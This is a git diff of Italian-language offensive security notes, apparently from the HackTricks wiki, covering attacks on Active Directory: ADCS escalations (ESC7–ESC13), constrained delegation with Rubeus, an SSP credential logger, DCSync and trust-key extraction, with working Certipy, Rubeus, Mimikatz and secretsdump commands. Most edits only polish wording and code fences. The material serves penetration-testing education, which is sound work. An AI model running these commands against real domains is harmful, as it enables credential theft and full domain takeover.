La semplificazione di questo processo è realizzabile attraverso l'uso del cmdlet **Enable-PolicyModuleFlag** di PSPKI, che consente modifiche senza interazione diretta con l'interfaccia grafica.
|
||||
|
||||
Il possesso di diritti **`ManageCertificates`** facilita l'approvazione delle richieste in sospeso, eludendo efficacemente la protezione "approvazione del gestore certificati CA".
|
||||
|
||||
Una combinazione dei moduli **Certify** e **PSPKI** può essere utilizzata per richiedere, approvare e scaricare un certificato:
|
||||
```powershell
|
||||
```bash
|
||||
# Request a certificate that will require an approval
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
|
||||
[...]
|
||||
@ -273,7 +273,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
||||
```
|
||||
Il template **`SubCA`** può essere **abilitato sulla CA** con il parametro `-enable-template`. Per impostazione predefinita, il template `SubCA` è abilitato.
|
||||
Il **`SubCA`** template può essere **abilitato sulla CA** con il parametro `-enable-template`. Per impostazione predefinita, il template `SubCA` è abilitato.
|
||||
```bash
|
||||
# List templates
|
||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||
@ -352,12 +352,12 @@ Certify.exe cas
|
||||
```
|
||||
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La proprietà `msPKI-Enrollment-Servers` è utilizzata dalle Autorità di Certificazione (CA) aziendali per memorizzare i punti finali del Servizio di Registrazione dei Certificati (CES). Questi punti finali possono essere analizzati e elencati utilizzando lo strumento **Certutil.exe**:
|
||||
La proprietà `msPKI-Enrollment-Servers` è utilizzata dalle Autorità di Certificazione (CA) aziendali per memorizzare gli endpoint del Servizio di Registrazione dei Certificati (CES). Questi endpoint possono essere analizzati e elencati utilizzando lo strumento **Certutil.exe**:
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
<figure><img src="../../../images/image (757).png" alt=""><figcaption></figcaption></figure>
|
||||
```powershell
|
||||
```bash
|
||||
Import-Module PSPKI
|
||||
Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||
```
|
||||
@ -380,7 +380,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
||||
```
|
||||
#### Abuso con [Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
La richiesta di un certificato viene effettuata da Certipy per impostazione predefinita in base al modello `Machine` o `User`, determinato dal fatto che il nome dell'account da relazionare termini con `$`. La specifica di un modello alternativo può essere ottenuta attraverso l'uso del parametro `-template`.
|
||||
La richiesta per un certificato viene effettuata da Certipy per impostazione predefinita in base al modello `Machine` o `User`, determinato dal fatto che il nome dell'account da relazionare termini con `$`. La specifica di un modello alternativo può essere ottenuta attraverso l'uso del parametro `-template`.
|
||||
|
||||
Una tecnica come [PetitPotam](https://github.com/ly4k/PetitPotam) può quindi essere impiegata per costringere l'autenticazione. Quando si tratta di controller di dominio, è necessaria la specifica di `-template DomainController`.
|
||||
```bash
|
||||
@ -405,7 +405,7 @@ Le condizioni in cui l'impostazione di questo flag diventa significativa includo
|
||||
|
||||
- `StrongCertificateBindingEnforcement` non è regolato su `2` (con il predefinito che è `1`), o `CertificateMappingMethods` include il flag `UPN`.
|
||||
- Il certificato è contrassegnato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` all'interno dell'impostazione `msPKI-Enrollment-Flag`.
|
||||
- Qualsiasi EKU di autenticazione del client è specificata dal certificato.
|
||||
- Qualsiasi EKU di autenticazione del client è specificato dal certificato.
|
||||
- I permessi `GenericWrite` sono disponibili su qualsiasi account per compromettere un altro.
|
||||
|
||||
### Scenario di Abuso
|
||||
@ -416,13 +416,13 @@ Inizialmente, l'hash di `Jane` viene acquisito utilizzando Shadow Credentials, g
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo volutamente la parte del dominio `@corp.local`:
|
||||
Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo deliberatamente la parte del dominio `@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Questa modifica non viola i vincoli, dato che `Administrator@corp.local` rimane distinto come `userPrincipalName` di `Administrator`.
|
||||
|
||||
Dopo ciò, il modello di certificato `ESC9`, contrassegnato come vulnerabile, viene richiesto come `Jane`:
|
||||
Dopo di ciò, il modello di certificato `ESC9`, contrassegnato come vulnerabile, viene richiesto come `Jane`:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
@ -459,7 +459,7 @@ Con `StrongCertificateBindingEnforcement` configurato come `0`, un account A con
|
||||
|
||||
Ad esempio, avendo permessi `GenericWrite` su `Jane@corp.local`, un attaccante mira a compromettere `Administrator@corp.local`. La procedura rispecchia ESC9, consentendo di utilizzare qualsiasi modello di certificato.
|
||||
|
||||
Inizialmente, l'hash di `Jane` viene recuperato utilizzando le Credenziali Shadow, sfruttando il `GenericWrite`.
|
||||
Inizialmente, l'hash di `Jane` viene recuperato utilizzando Shadow Credentials, sfruttando il `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
@ -467,7 +467,7 @@ Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administr
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Successivamente, viene richiesta un certificato che abilita l'autenticazione del client come `Jane`, utilizzando il modello predefinito `User`.
|
||||
Successivamente, viene richiesta una certificazione che abilita l'autenticazione del client come `Jane`, utilizzando il modello predefinito `User`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
@ -481,13 +481,13 @@ certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### Abuse Case 2
|
||||
|
||||
Con il `CertificateMappingMethods` che contiene il bit flag `UPN` (`0x4`), un account A con permessi `GenericWrite` può compromettere qualsiasi account B privo della proprietà `userPrincipalName`, inclusi gli account macchina e l'amministratore di dominio integrato `Administrator`.
|
||||
Con il `CertificateMappingMethods` che contiene il flag bit `UPN` (`0x4`), un account A con permessi `GenericWrite` può compromettere qualsiasi account B privo della proprietà `userPrincipalName`, inclusi gli account macchina e l'amministratore di dominio integrato `Administrator`.
|
||||
|
||||
Qui, l'obiettivo è compromettere `DC$@corp.local`, iniziando con l'ottenere l'hash di `Jane` tramite Shadow Credentials, sfruttando il `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
Il `userPrincipalName` di `Jane` è quindi impostato su `DC$@corp.local`.
|
||||
`Jane`'s `userPrincipalName` è quindi impostato su `DC$@corp.local`.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
@ -569,13 +569,13 @@ Se un dispositivo USB è connesso al server CA tramite una porta USB, o un serve
|
||||
|
||||
Questa chiave/password è memorizzata nel registro sotto `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in chiaro.
|
||||
|
||||
Riferimento in [qui](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
Riferimento [qui](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
|
||||
### Scenario di abuso
|
||||
### Scenario di Abuso
|
||||
|
||||
Se la chiave privata della CA è memorizzata su un dispositivo USB fisico quando hai ottenuto l'accesso shell, è possibile recuperare la chiave.
|
||||
Se la chiave privata della CA è memorizzata su un dispositivo USB fisico quando hai ottenuto accesso shell, è possibile recuperare la chiave.
|
||||
|
||||
In primo luogo, è necessario ottenere il certificato CA (questo è pubblico) e poi:
|
||||
Per prima cosa, devi ottenere il certificato CA (questo è pubblico) e poi:
|
||||
```cmd
|
||||
# import it to the user store with CA certificate
|
||||
$ certutil -addstore -user my <CA certificate file>
|
||||
@ -583,18 +583,18 @@ $ certutil -addstore -user my <CA certificate file>
|
||||
# Associated with the private key in the YubiHSM2 device
|
||||
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
|
||||
```
|
||||
Infine, usa il comando certutil `-sign` per forgiare un nuovo certificato arbitrario utilizzando il certificato CA e la sua chiave privata.
|
||||
Infine, utilizza il comando certutil `-sign` per forgiare un nuovo certificato arbitrario utilizzando il certificato CA e la sua chiave privata.
|
||||
|
||||
## Abuso del Link del Gruppo OID - ESC13
|
||||
|
||||
### Spiegazione
|
||||
|
||||
L'attributo `msPKI-Certificate-Policy` consente di aggiungere la politica di emissione al modello di certificato. Gli oggetti `msPKI-Enterprise-Oid` responsabili dell'emissione delle politiche possono essere scoperti nel Contesto di Nominazione della Configurazione (CN=OID,CN=Public Key Services,CN=Services) del contenitore OID PKI. Una politica può essere collegata a un gruppo AD utilizzando l'attributo `msDS-OIDToGroupLink` di questo oggetto, consentendo a un sistema di autorizzare un utente che presenta il certificato come se fosse un membro del gruppo. [Riferimento qui](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
L'attributo `msPKI-Certificate-Policy` consente di aggiungere la policy di emissione al modello di certificato. Gli oggetti `msPKI-Enterprise-Oid` responsabili dell'emissione delle policy possono essere scoperti nel Contesto di Nominazione della Configurazione (CN=OID,CN=Public Key Services,CN=Services) del contenitore OID PKI. Una policy può essere collegata a un gruppo AD utilizzando l'attributo `msDS-OIDToGroupLink` di questo oggetto, consentendo a un sistema di autorizzare un utente che presenta il certificato come se fosse un membro del gruppo. [Riferimento qui](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
|
||||
In altre parole, quando un utente ha il permesso di registrare un certificato e il certificato è collegato a un gruppo OID, l'utente può ereditare i privilegi di questo gruppo.
|
||||
|
||||
Usa [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) per trovare OIDToGroupLink:
|
||||
```powershell
|
||||
Utilizza [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) per trovare OIDToGroupLink:
|
||||
```bash
|
||||
Enumerating OIDs
|
||||
------------------------
|
||||
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
@ -619,7 +619,7 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
|
||||
Trova un permesso utente che può utilizzare `certipy find` o `Certify.exe find /showAllPermissions`.
|
||||
|
||||
Se `John` ha il permesso di registrare `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`.
|
||||
Se `John` ha il permesso di iscriversi a `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`.
|
||||
|
||||
Tutto ciò che deve fare è specificare il template, otterrà un certificato con diritti OIDToGroupLink.
|
||||
```bash
|
||||
@ -629,14 +629,13 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
|
||||
|
||||
### Violazione dei Trust delle Foreste da CAs Compromessi
|
||||
|
||||
La configurazione per il **cross-forest enrollment** è relativamente semplice. Il **certificato CA radice** della foresta risorsa è **pubblicato nelle foreste account** dagli amministratori, e i certificati **enterprise CA** della foresta risorsa sono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ciascuna foresta account**. Per chiarire, questo accordo concede alla **CA nella foresta risorsa il completo controllo** su tutte le altre foreste per le quali gestisce la PKI. Se questa CA fosse **compromessa da attaccanti**, i certificati per tutti gli utenti sia nella foresta risorsa che in quella account potrebbero essere **falsificati da loro**, rompendo così il confine di sicurezza della foresta.
|
||||
La configurazione per il **cross-forest enrollment** è relativamente semplice. Il **certificato CA radice** della foresta risorsa è **pubblicato alle foreste account** dagli amministratori, e i certificati **CA aziendali** della foresta risorsa sono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ciascuna foresta account**. Per chiarire, questo accordo concede alla **CA nella foresta risorsa il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Se questa CA fosse **compromessa da attaccanti**, i certificati per tutti gli utenti sia nella foresta risorsa che in quella account potrebbero essere **falsificati da loro**, rompendo così il confine di sicurezza della foresta.
|
||||
|
||||
### Privilegi di Iscrizione Concessi a Principali Stranieri
|
||||
|
||||
Negli ambienti multi-foresta, è necessaria cautela riguardo alle CA Enterprise che **pubblicano modelli di certificato** che consentono a **Authenticated Users o principali stranieri** (utenti/gruppi esterni alla foresta a cui appartiene la CA Enterprise) **diritti di iscrizione e modifica**.\
|
||||
Dopo l'autenticazione attraverso un trust, il **SID degli Utenti Autenticati** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede una CA Enterprise con un modello che **consente diritti di iscrizione agli Utenti Autenticati**, un modello potrebbe potenzialmente essere **iscritto da un utente di una foresta diversa**. Allo stesso modo, se **i diritti di iscrizione sono esplicitamente concessi a un principale straniero da un modello**, si crea così una **relazione di controllo accessi cross-forest**, consentendo a un principale di una foresta di **iscriversi a un modello di un'altra foresta**.
|
||||
Negli ambienti multi-foresta, è necessaria cautela riguardo alle CA aziendali che **pubblicano modelli di certificato** che consentono a **Utenti Autenticati o principali stranieri** (utenti/gruppi esterni alla foresta a cui appartiene la CA aziendale) **diritti di iscrizione e modifica**.\
|
||||
Dopo l'autenticazione attraverso un trust, il **SID Utenti Autenticati** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede una CA aziendale con un modello che **consente diritti di iscrizione agli Utenti Autenticati**, un modello potrebbe potenzialmente essere **iscritto da un utente di una foresta diversa**. Allo stesso modo, se **i diritti di iscrizione sono esplicitamente concessi a un principale straniero da un modello**, si crea così una **relazione di controllo accessi cross-forest**, consentendo a un principale di una foresta di **iscriversi a un modello di un'altra foresta**.
|
||||
|
||||
Entrambi gli scenari portano a un **aumento della superficie di attacco** da una foresta all'altra. Le impostazioni del modello di certificato potrebbero essere sfruttate da un attaccante per ottenere privilegi aggiuntivi in un dominio straniero.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,16 +4,16 @@
|
||||
|
||||
## Constrained Delegation
|
||||
|
||||
Utilizzando questo, un amministratore di dominio può **consentire** a un computer di **impersonare un utente o un computer** contro un **servizio** di una macchina.
|
||||
Utilizzando questo, un amministratore di dominio può **consentire** a un computer di **impersonare un utente o un computer** contro qualsiasi **servizio** di una macchina.
|
||||
|
||||
- **Servizio per Utente a se stesso (**_**S4U2self**_**):** Se un **account di servizio** ha un valore _userAccountControl_ che contiene [TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), allora può ottenere un TGS per se stesso (il servizio) per conto di qualsiasi altro utente.
|
||||
- **Servizio per Utente a Proxy(**_**S4U2proxy**_**):** Un **account di servizio** potrebbe ottenere un TGS per conto di qualsiasi utente per il servizio impostato in **msDS-AllowedToDelegateTo.** Per farlo, ha prima bisogno di un TGS da quell'utente a se stesso, ma può utilizzare S4U2self per ottenere quel TGS prima di richiedere l'altro.
|
||||
- **Servizio per Utente a se stesso (_S4U2self_):** Se un **account di servizio** ha un valore _userAccountControl_ che contiene [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), allora può ottenere un TGS per se stesso (il servizio) per conto di qualsiasi altro utente.
|
||||
- **Servizio per Utente a Proxy (_S4U2proxy_):** Un **account di servizio** potrebbe ottenere un TGS per conto di qualsiasi utente per il servizio impostato in **msDS-AllowedToDelegateTo.** Per farlo, ha prima bisogno di un TGS da quell'utente a se stesso, ma può utilizzare S4U2self per ottenere quel TGS prima di richiedere l'altro.
|
||||
|
||||
**Nota**: Se un utente è contrassegnato come ‘_L'account è sensibile e non può essere delegato_’ in AD, non sarai **in grado di impersonarlo**.
|
||||
**Nota**: Se un utente è contrassegnato come ‘_Account is sensitive and cannot be delegated_’ in AD, non sarai **in grado di impersonarlo**.
|
||||
|
||||
Questo significa che se **comprometti l'hash del servizio** puoi **impersonare utenti** e ottenere **accesso** a loro nome al **servizio configurato** (possibile **privesc**).
|
||||
Questo significa che se **comprometti l'hash del servizio** puoi **impersonare utenti** e ottenere **accesso** a loro nome a qualsiasi **servizio** sulle macchine indicate (possibile **privesc**).
|
||||
|
||||
Inoltre, **non avrai solo accesso al servizio che l'utente è in grado di impersonare, ma anche a qualsiasi servizio** perché lo SPN (il nome del servizio richiesto) non viene controllato, solo i privilegi. Pertanto, se hai accesso al **servizio CIFS** puoi anche avere accesso al **servizio HOST** utilizzando il flag `/altservice` in Rubeus.
|
||||
Inoltre, **non avrai solo accesso al servizio che l'utente è in grado di impersonare, ma anche a qualsiasi servizio** perché lo SPN (il nome del servizio richiesto) non viene controllato (in questo ticket questa parte non è crittografata/firma). Pertanto, se hai accesso al **servizio CIFS** puoi anche avere accesso al **servizio HOST** utilizzando il flag `/altservice` in Rubeus, ad esempio.
|
||||
|
||||
Inoltre, **l'accesso al servizio LDAP su DC** è ciò che è necessario per sfruttare un **DCSync**.
|
||||
```bash:Enumerate
|
||||
@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed
|
||||
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
|
||||
```
|
||||
|
||||
```bash:Quick Way
|
||||
# Generate TGT + TGS impersonating a user knowing the hash
|
||||
Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
|
||||
```
|
||||
- Passo 1: **Ottieni il TGT del servizio autorizzato**
|
||||
```bash:Get TGT
|
||||
# The first step is to get a TGT of the service that can impersonate others
|
||||
## If you are SYSTEM in the server, you might take it from memory
|
||||
@ -36,22 +41,24 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))"
|
||||
mimikatz sekurlsa::ekeys
|
||||
|
||||
## Request with aes
|
||||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
|
||||
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
|
||||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
|
||||
|
||||
# Request with RC4
|
||||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||||
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ci sono **altri modi per ottenere un biglietto TGT** o il **RC4** o **AES256** senza essere SYSTEM nel computer, come il Printer Bug e la delega non vincolata, il relaying NTLM e l'abuso del servizio di certificazione Active Directory.
|
||||
>
|
||||
> **Basta avere quel biglietto TGT (o hashato) per poter eseguire questo attacco senza compromettere l'intero computer.**
|
||||
|
||||
- Step2: **Ottieni TGS per il servizio impersonando l'utente**
|
||||
```bash:Using Rubeus
|
||||
#Obtain a TGS of the Administrator user to self
|
||||
# Obtain a TGS of the Administrator user to self
|
||||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
|
||||
|
||||
#Obtain service TGS impersonating Administrator (CIFS)
|
||||
# Obtain service TGS impersonating Administrator (CIFS)
|
||||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
|
||||
|
||||
#Impersonate Administrator on different service (HOST)
|
||||
|
||||
@ -19,15 +19,15 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
|
||||
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
|
||||
```
|
||||
Aggiungi `mimilib.dll` alla lista dei fornitori di supporto per la sicurezza (Pacchetti di sicurezza):
|
||||
```powershell
|
||||
```bash
|
||||
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
|
||||
```
|
||||
E dopo un riavvio, tutte le credenziali possono essere trovate in chiaro in `C:\Windows\System32\kiwissp.log`
|
||||
|
||||
#### In memoria
|
||||
|
||||
Puoi anche iniettare questo in memoria direttamente utilizzando Mimikatz (nota che potrebbe essere un po' instabile/non funzionare):
|
||||
```powershell
|
||||
Puoi anche iniettare questo in memoria direttamente usando Mimikatz (nota che potrebbe essere un po' instabile/non funzionare):
|
||||
```bash
|
||||
privilege::debug
|
||||
misc::memssp
|
||||
```
|
||||
|
||||
@ -9,21 +9,21 @@ Il permesso **DCSync** implica avere questi permessi sul dominio stesso: **DS-Re
|
||||
**Note Importanti su DCSync:**
|
||||
|
||||
- L'**attacco DCSync simula il comportamento di un Domain Controller e chiede ad altri Domain Controller di replicare informazioni** utilizzando il Directory Replication Service Remote Protocol (MS-DRSR). Poiché MS-DRSR è una funzione valida e necessaria di Active Directory, non può essere disattivata o disabilitata.
|
||||
- Per impostazione predefinita solo i gruppi **Domain Admins, Enterprise Admins, Administrators e Domain Controllers** hanno i privilegi richiesti.
|
||||
- Per impostazione predefinita, solo i gruppi **Domain Admins, Enterprise Admins, Administrators e Domain Controllers** hanno i privilegi richiesti.
|
||||
- Se le password di qualsiasi account sono memorizzate con crittografia reversibile, è disponibile un'opzione in Mimikatz per restituire la password in chiaro.
|
||||
|
||||
### Enumerazione
|
||||
### Enumeration
|
||||
|
||||
Controlla chi ha questi permessi usando `powerview`:
|
||||
```powershell
|
||||
```bash
|
||||
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
|
||||
```
|
||||
### Sfrutta Localmente
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
|
||||
```
|
||||
### Sfrutta da Remoto
|
||||
```powershell
|
||||
### Sfruttare Remotamente
|
||||
```bash
|
||||
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
|
||||
[-just-dc-user <USERNAME>] #To get only of that user
|
||||
[-pwd-last-set] #To see when each account's password was last changed
|
||||
@ -35,18 +35,18 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
|
||||
- uno con le **chiavi Kerberos**
|
||||
- uno con le password in chiaro dall'NTDS per qualsiasi account impostato con [**cifratura reversibile**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) abilitata. Puoi ottenere gli utenti con cifratura reversibile con
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
|
||||
```
|
||||
|
||||
### Persistenza
|
||||
|
||||
Se sei un amministratore di dominio, puoi concedere queste autorizzazioni a qualsiasi utente con l'aiuto di `powerview`:
|
||||
```powershell
|
||||
```bash
|
||||
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
|
||||
```
|
||||
Quindi, puoi **verificare se all'utente sono stati assegnati correttamente** i 3 privilegi cercandoli nell'output di (dovresti essere in grado di vedere i nomi dei privilegi all'interno del campo "ObjectType"):
|
||||
```powershell
|
||||
Poi, puoi **verificare se all'utente sono stati assegnati correttamente** i 3 privilegi cercandoli nell'output di (dovresti essere in grado di vedere i nomi dei privilegi all'interno del campo "ObjectType"):
|
||||
```bash
|
||||
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
|
||||
```
|
||||
### Mitigazione
|
||||
|
||||
@ -7,7 +7,7 @@ In questo scenario **il tuo dominio** sta **fidandosi** di alcuni **privilegi**
|
||||
## Enumerazione
|
||||
|
||||
### Fiducia in Uscita
|
||||
```powershell
|
||||
```bash
|
||||
# Notice Outbound trust
|
||||
Get-DomainTrust
|
||||
SourceName : root.local
|
||||
@ -33,12 +33,12 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F
|
||||
Una vulnerabilità di sicurezza esiste quando viene stabilita una relazione di fiducia tra due domini, identificati qui come dominio **A** e dominio **B**, dove il dominio **B** estende la sua fiducia al dominio **A**. In questa configurazione, un account speciale viene creato nel dominio **A** per il dominio **B**, che gioca un ruolo cruciale nel processo di autenticazione tra i due domini. Questo account, associato al dominio **B**, viene utilizzato per crittografare i ticket per accedere ai servizi tra i domini.
|
||||
|
||||
L'aspetto critico da comprendere qui è che la password e l'hash di questo account speciale possono essere estratti da un Domain Controller nel dominio **A** utilizzando uno strumento da riga di comando. Il comando per eseguire questa azione è:
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
```
|
||||
Questa estrazione è possibile perché l'account, identificato con un **$** dopo il suo nome, è attivo e appartiene al gruppo "Domain Users" del dominio **A**, ereditando così i permessi associati a questo gruppo. Ciò consente agli individui di autenticarsi contro il dominio **A** utilizzando le credenziali di questo account.
|
||||
|
||||
**Attenzione:** È fattibile sfruttare questa situazione per ottenere un accesso nel dominio **A** come utente, sebbene con permessi limitati. Tuttavia, questo accesso è sufficiente per eseguire l'enumerazione nel dominio **A**.
|
||||
**Attenzione:** È possibile sfruttare questa situazione per ottenere un accesso nel dominio **A** come utente, sebbene con permessi limitati. Tuttavia, questo accesso è sufficiente per eseguire l'enumerazione nel dominio **A**.
|
||||
|
||||
In uno scenario in cui `ext.local` è il dominio fiducioso e `root.local` è il dominio fidato, un account utente chiamato `EXT$` verrebbe creato all'interno di `root.local`. Attraverso strumenti specifici, è possibile estrarre le chiavi di fiducia di Kerberos, rivelando le credenziali di `EXT$` in `root.local`. Il comando per ottenere questo è:
|
||||
```bash
|
||||
|
||||
@ -7,7 +7,7 @@ In questo scenario, un dominio esterno si fida di te (o entrambi si fidano l'uno
|
||||
## Enumerazione
|
||||
|
||||
Prima di tutto, devi **enumerare** la **fiducia**:
|
||||
```powershell
|
||||
```bash
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
TargetName : domain.external --> Destination domain
|
||||
@ -56,14 +56,14 @@ IsDomain : True
|
||||
# You may also enumerate where foreign groups and/or users have been assigned
|
||||
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
|
||||
```
|
||||
Nell'enumerazione precedente è stato trovato che l'utente **`crossuser`** è all'interno del gruppo **`External Admins`** che ha **accesso Admin** all'interno del **DC del dominio esterno**.
|
||||
Nella precedente enumerazione è stato trovato che l'utente **`crossuser`** è all'interno del gruppo **`External Admins`** che ha **accesso Admin** all'interno del **DC del dominio esterno**.
|
||||
|
||||
## Accesso Iniziale
|
||||
|
||||
Se non **sei riuscito** a trovare alcun accesso **speciale** del tuo utente nell'altro dominio, puoi comunque tornare alla metodologia AD e provare a **privesc da un utente non privilegiato** (cose come kerberoasting, per esempio):
|
||||
|
||||
Puoi utilizzare le **funzioni di Powerview** per **enumerare** l'**altro dominio** usando il parametro `-Domain` come in:
|
||||
```powershell
|
||||
```bash
|
||||
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
|
||||
```
|
||||
{{#ref}}
|
||||
@ -75,19 +75,19 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
|
||||
### Accesso
|
||||
|
||||
Utilizzando un metodo regolare con le credenziali degli utenti che hanno accesso al dominio esterno, dovresti essere in grado di accedere a:
|
||||
```powershell
|
||||
```bash
|
||||
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
|
||||
```
|
||||
### Abuso della Storia SID
|
||||
|
||||
Puoi anche abusare della [**Storia SID**](sid-history-injection.md) attraverso un trust di foresta.
|
||||
|
||||
Se un utente viene migrato **da una foresta a un'altra** e **il filtro SID non è abilitato**, diventa possibile **aggiungere un SID dall'altra foresta**, e questo **SID** sarà **aggiunto** al **token dell'utente** durante l'autenticazione **attraverso il trust**.
|
||||
